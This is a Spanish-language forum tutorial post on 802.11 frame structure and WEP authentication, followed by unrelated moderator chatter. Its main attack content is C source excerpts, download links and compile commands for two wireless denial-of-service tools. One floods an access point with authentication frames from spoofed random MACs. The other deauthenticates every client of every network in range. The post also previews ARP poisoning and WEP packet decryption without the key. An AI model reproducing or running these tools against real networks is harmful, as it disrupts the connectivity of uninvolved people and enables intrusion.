Ejemplo de la captura de un esnifer  de un paquete ARP RESPONSE sin la cabecera SNAP (paquete capturado desde una interface ethernet)



Ejemplo de la captura de un esnifer  de un paquete ARP REQUEST junto con  la cabecera SNAP (paquete capturado desde una interface 802.11)



Como ves en la pantalla anterior, LLC se antepone a los datos a enviar.

Bueno, y al margen de WEP, hay que señalar una cuestión especial...

¿No ves nada "extraño" en esta captura?

Seguro???

Fíjate bien... Durante todo este Taller, venimos diciendo que el protocolo 802.11 comienza por un FC, etc... (lo que llamamos la cabecera MAC) y según la captura anterior, y si observas bien la pantalla, verás que ANTES de la encapsulación IEE 802.11 aparece una "cosa" que dice AVS WLAN Monitoring Header

Y si te fijas aún mas, veras que es en la posición 0x40 donde realmente comienza el FC y la cabecera MAC.

¿Qué son los 0x40 (64 bytes) anteriores??

Esto nos ocurrirá cuando utilicemos tarjetas Prism!!! Este tipo de tarjetas WiFi añaden una cabecera propia de 64 bytes a toda la trama...

Uff, esto puede ser un problema (que realmente no lo es tanto) pero nos puede dificultar las explicaciones, resulta que si usamos Prism, la cabecera MAC comienza en la posición +64 bytes del paquete mientras que si no usamos Prism, comienza el la posición +0.

Podemos resolverlo de un plumazo.... (desde Linux) , si antes de usar los programas de captura, esnifers, airodump, etc, etc... ejecutamos esto:

Código [Seleccionar] Expandir

iwpriv set_prismhdr 0

Desactivamos las cabeceras prism...



Ahora ya no aparece eso del AVS WLAN Monitoring... y la cabecera MAC comienza en la posición cero como hemos venido estudiando.

Autenticación con WEP:

El proceso de autenticación precede al de envío de datos, antes de poder enviar información por la red debemos estar autenticados y asociados...

Si usamos WEP como cifrado en modo seguro (esto es, cifrado + clave compartida) el proceso de autenticación es así:

Cuando una estación trata de conectarse con un punto de acceso, éste

le envía un texto aleatorio, que constituye el desafío (challenge).

La estación debe utilizar la copia de su clave secreta compartida para cifrar el texto de desafío y devolverlo al punto de acceso, con el fin de autenticarse.

El punto de acceso descifra la respuesta utilizando la misma clave compartida y compara con el texto de desafío enviado anteriormente.

Si los dos textos son idénticos, el punto de acceso envía un mensaje de confirmación a la estación y la acepta dentro de la red.

Si la estación no dispone de una clave, o si envía una respuesta incorrecta, el punto de acceso la rechaza, evitando que la estación acceda a la red.[/list]

En el caso de que usemos WEP en modo abierto, (sin el uso de claves compartidas) podremos autenticarnos (no asociarnos), no podremos enviar datos puesto que desconocemos la clave wep y lo que recibamos tampoco "lo entenderemos" puesto que está cifrado.

Resumen:

1º) El cliente escoge la clave WEP para acceder a la red con la que se quiere asociar

2º) Se genera un IV (Vector de Inicialización) "aleatorio"

3º) Se añade es IV inmediatamente después de la cabecera MAC

4º) se combina el IV con la clave wep elegida y se cifran mediante RC4,

5º)  se obtiene un keystream resultante del cifrado con RC4

6º) Se toman los datos a enviar en texto plano, anteponiendo SNAP y calculando un CRCR32 de todo (LLC+SNAP+Datos)

7º) se realiza una operación XOR entre el keystream obtenido en el paso 5º) y los datos en texto plano del paso 6º) y el resultado se añade a continuación del IV en la trama de datos.

8º) El CRC de 32 bits dará como resultado un ICV (Control o Comprobación de Vector de Inicialización)

9º) Se añade ese ICV al final del paquete y se termina con la construcción del paquete cifrado de datos.

Un par de ejemplos de Denegación de Servicio con WEP.

Antes de ponernos a analizar "más afondo" cuales son las debilidades de WEP, vamos a realizar dos ejercicios del tipo DoS para empezar a entender por dónde vienen los tiros...

El primero es un ataque de Denegación de servicio contra Puntos de Acceso, casi todos los ataques DoS se centran en los clientes, aquí vamos a "probar" nuestros puntos de acceso y/o routers inalámbricos.

El segundo es una "maldad", basado en el mismo principio, vamos a desautenticar a "todo bicho viviente" que aparezca al alcance....

[size=18]Probando la resistencia de un punto de acceso.[/size]

Como ya he dicho, esto puede ser una prueba útil para que compruebes la resistencia de tu punto de acceso contra desbordamiento de recursos...

La idea es muy simple, si usamos una autenticación abierta, ya hemos comentado en la parte de teoría que nos podemos autenticar...

Hasta aquí todo bien... pero y si en lugar de autenticar una estación (una MAC) autenticamos.... 5000, 10000.... En unos segundos???

Pues esto es lo que hace este pequeño programita... autenticar cientos de estaciones por segundo, el resultado final será un consumo excesivo de los recursos del punto de acceso o router inalámbrico y denegación de servicio al canto.

En ocasiones puede incluso hasta afectar a todo el sistema en general, con lo que en routers domésticos podemos dejar sin comunicación no sólo a los clientes inalámbricos, también a los de cable, Internet, etc...

Como siempre en el código fuente del programa he intentado explicar con detenimiento todo el proceso:

Como en los otros ejercicios, se utiliza la función send_packet que nos permite enviar paquetes por la interface Wifi que dispongamos y dump_packet para "ver" la trama que enviamos...

La parte que nos interesa es esta:

Código [Seleccionar] Expandir


...
...
unsigned int mac_ap[6];  //mac_ap es la mac del AP y mac_cli la mac de la víctima
unsigned char DoS_AP[30];

// Solicitamos la entrada de MAC's por pantalla
printf ("\nEscribe la MAC del Punto de Acceso ----------------> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_ap[0],&mac_ap[1],&mac_ap[2],&mac_ap[3],&mac_ap[4],&mac_ap[5]);

/***************************************/
/* Construimos la trama de Autenticación */
/***************************************/

// FRAME CONTROL bytes 0 y 1
DoS_AP[0]=0xB0; // Esto es AUTENTICACION!!!
DoS_AP[1]=0x00;

// DURACION bytes 2 y 3 Valor al azar, para el ejemplo 30 01
DoS_AP[2]=0X30;
DoS_AP[3]=0X01;

// MAC DESTINO -- LA DEl PUNTO DE ACCESO (DoS_AP+4, DoS_AP+5... hasta DoS_AP+9)
for (z=0;z<6;z++) DoS_AP[4+z]=mac_ap[z];

// MAC ORIGEN -- MAC Falsa ALEATORIA (DoS_AP+10, DoS_AP+11.... hasta DoS_AP+15)
for (z=0;z<6;z++) DoS_AP[10+z]=rand() & 0xFF;
DoS_AP[10]=0x00;
// MAC DEL BSSID -- LA DEL PUNTO DE ACCESO Dos_AP+16, DoS_AP+17 hasta DoS_AP+21)
for (z=0;z<6;z++) DoS_AP[16+z]=mac_ap[z];

// Número de Fragmento y número de secuencia bytes 22 y 23
DoS_AP[22]=0x10;
DoS_AP[23]=0x00;

DoS_AP[24]=0x00;
DoS_AP[25]=0x00;

// Número de Secuencia de la Autenticación (por ejemplo, 02 00)
DoS_AP[26]=0x02;
DoS_AP[27]=0x00;

// Razón y Estado de la DoS_AP bytes 28 y 20. Satisfactorio!!!!

DoS_AP[28]=0x00;
DoS_AP[29]=0x00;


// Mostramos en pantalla la trama a enviar
printf ("\nTrama a enviar"
"\n***** * ******\n");

dump_packet(DoS_AP,30); //Volcamos el paquete a enviar por pantalla para ver su encapsulado


printf("\nPulsa Ctrl+C para cancelar el ataque\n\n");


// Comenzams el ataque DoS contra el AP.

z=1;
while(1)

{
printf ("\rEnviando trama número %i \r",z);
fflush( stdout );
z++;
send_packet(DoS_AP,30); //Enviamos paquete
usleep(50000); //Se espera 50mil ms, se enviarán unos 200 paq. x segundo
//con mac's aleatorias.... en 5 segundos el AP recibirá
//1000 solicitudes con sus 1000 mac's. Resultado => Desbordamiento
//y transcurridos unos segundos mas => todas las estaciones también fuera

// Generamos una nueva MAC aleatoria
for (i=0;i<6;i++) DoS_AP[10+i]=rand() & 0xFF;
DoS_AP[10]=0x00;

// Nº Secuencia aleatorio para h80211

DoS_AP[22]=rand() & 0xFF;
DoS_AP[23]=rand() & 0xFF;

// Nº Secuencia Aleatorio para solicitud de autenticacion

DoS_AP[26]=rand () & 0xFF;
DoS_AP[27]=rand () & 0xFF;


}
....
....


Es interesante que te des cuenta como se construyen las tramas de autenticación

El código completo lo encontrarás aquí:

http://www.megaupload.com/?d=DQ5DD6YS

Y como siempre, para no tener problemas de compilación lo guardamos junto con el código fuente de la suite de aircrack-ng, con el nombre dosAP.c y lo compilamos:

Código [Seleccionar] Expandir

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o dosAP dosAP.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude dosAP.o common.o crypto.o -o dosAP -Losdep -losdep   -lssl -lcrypto

[size=18]Denegación de Servicio a TODAS las Redes y TODOS los clientes.[/size]

Al programita en cuestión le llamé dosLOCO.c, por aquello de que es una locura...

De lo que se trata es de capturar un paquete de datos cualquiera, de cualquier cliente de cualquier red, y proceder a una desautenticación, primero del cliente "descubierto" y luego de todos (al broadcast)

Así continuamente, cada vez que interceptemos cualquier paquete de datos, enviamos desautenticaciones a ese cliente y luego a todo el mundo... vamos que todo lo que esté "a tu alrededor" se desautentica... una maldad como dije.

Podríamos incluir "listas blancas" para no desautenticar a los que queramos... pero bueno, no importa el programa en sí mismo, interesa como capturar y colocar las mac's en el orden adecuado dentro de la trama a enviar.

Recuerdas la parte teórica donde hablábamos de "la danza de las mac's" que dependiendo de si es un dato toDS o FromDS se intercambian mac origen y mac destino???

Pues en este ejemplo lo descubrimos y utilizamos, concretamente en esta parte del código:

Código [Seleccionar] Expandir


...
...

if (h80211[1] % 3 ) == 3) continue; // Es un paquete WDS. no interesa. leer otro

switch( h80211[1] & 3 )
       {
           case  0: // es ad-hoc

memcpy (bssid,h80211+4,6);
memcpy (origen,h80211+10,6);
memcpy (destino,h80211+16,6);
break;

           case  1: // es ToDS

memcpy (bssid,h80211+4,6);
memcpy (origen,h80211+10,6);
memcpy (destino,h80211+16,6);
break;

           case  2: // es FromDS

memcpy (destino,h80211+4,6);
memcpy (bssid,h80211+10,6);
memcpy (origen,h80211+16,6);
break;
       }

if (origen[0] == 0xFF) memcpy (mac_victima, destino, 6);
if (destino[0] == 0xFF) memcpy (mac_victima, origen, 6);
...
...

Como ves analizamos el segundo byte del Frame Control (recuerda que se empieza a contar desde cero, el cero es el primero y el uno el segundo)

De esta forma, sabemos colocar las macs dentro de la trama de datos a enviar, no vaya a ser que enviemos desautenticaciones a quien no debemos.

Para comprobar si es broadcast asumimos que si el primer byte de la mac (origen o destino) es FF se trata de un broadcast, ciertamente deberíamos de comprobar los seis, pero con esto vale.

El resto del programa no debería ofrecer ningún problema de entendimiento después de todas las explicaciones que llevamos y de los otros códigos.

Lo puedes descargar de aquí:

http://www.megaupload.com/?d=OIS2LVIT

Y para compilarlo, como de es habitual, lo guardamos en el directorio fuente de aircrack y:

Código [Seleccionar] Expandir


gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o dosLOCO dosLOCO.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude dosLOCO.o common.o crypto.o -o dosLOCO -Losdep -losdep   -lssl -lcrypto

Vale, ahora vamos a descubrir las vulnerabilidades WEP, daremos un reapaso a todas las conocidas y haremos ejemplos de estas:

•

Reinyección de tráfico (ya veréis que inyecta muy, muy, muy deprisa).

• Ataque WEP de texto plano. Consiste en obtener keystream "a medida" para que luego podamos inyectar cualquier paquete en la red sin conocer la clave, envenenar la caché arp de los clientes, cambiar puertas de enlace, manipular dns, lo que se nos ocurra, y con cualquier herramienta, es decir, desde un escaner de puertos hasta un simple ping, sin necesidad de depender de aircrack o similares.

• Decodificación de paquetes. Mediante una técnica conocida como Ataque Inductivo seremos capaces de descifrar el contenido de cualquier paquete de datos cifrado con WEP sin conocer la clave. Además también podremos generar keystream para enviar paquetes "mal intencionados" a la red como en el caso anterior.

• Un detector de ataques. Como no todo es atacar y atacar, también construiremos un pequeño sistema de alertas que nos avise de estos ataques.[/list]

Pero, hasta entonces... un respiro y mañana al tajo.[/b]

Buenas:

Hablando con KARR me comentó lo mismo que Festor.... 

Pero antes, como bien habeis dicho... el post de las normas tenía otro título más "llamativo"... y ni con esas.

Un saludete y a disfrutar del foro... 

ChimoC

P.D.: Muchas gracias a todos, si os pasais por .... os invito a pincho y caña 

Buenas:

Los posts cerrados los dejamos unos días para que los users vea que se les ha cerrado ... y muchas veces el porqué se les ha cerrado....

Si directamente los borrásemos... más de uno nos invadiría con ¿donde está mi post... lo puse ayer y ya no está....?

Creo que ya he cerrado y movido casi 10....

Para que veais cómo a la gente le da igual 8 que 80 

Un saludo

ChimoC

P.D.: Pero ya vereis como al final ganaremos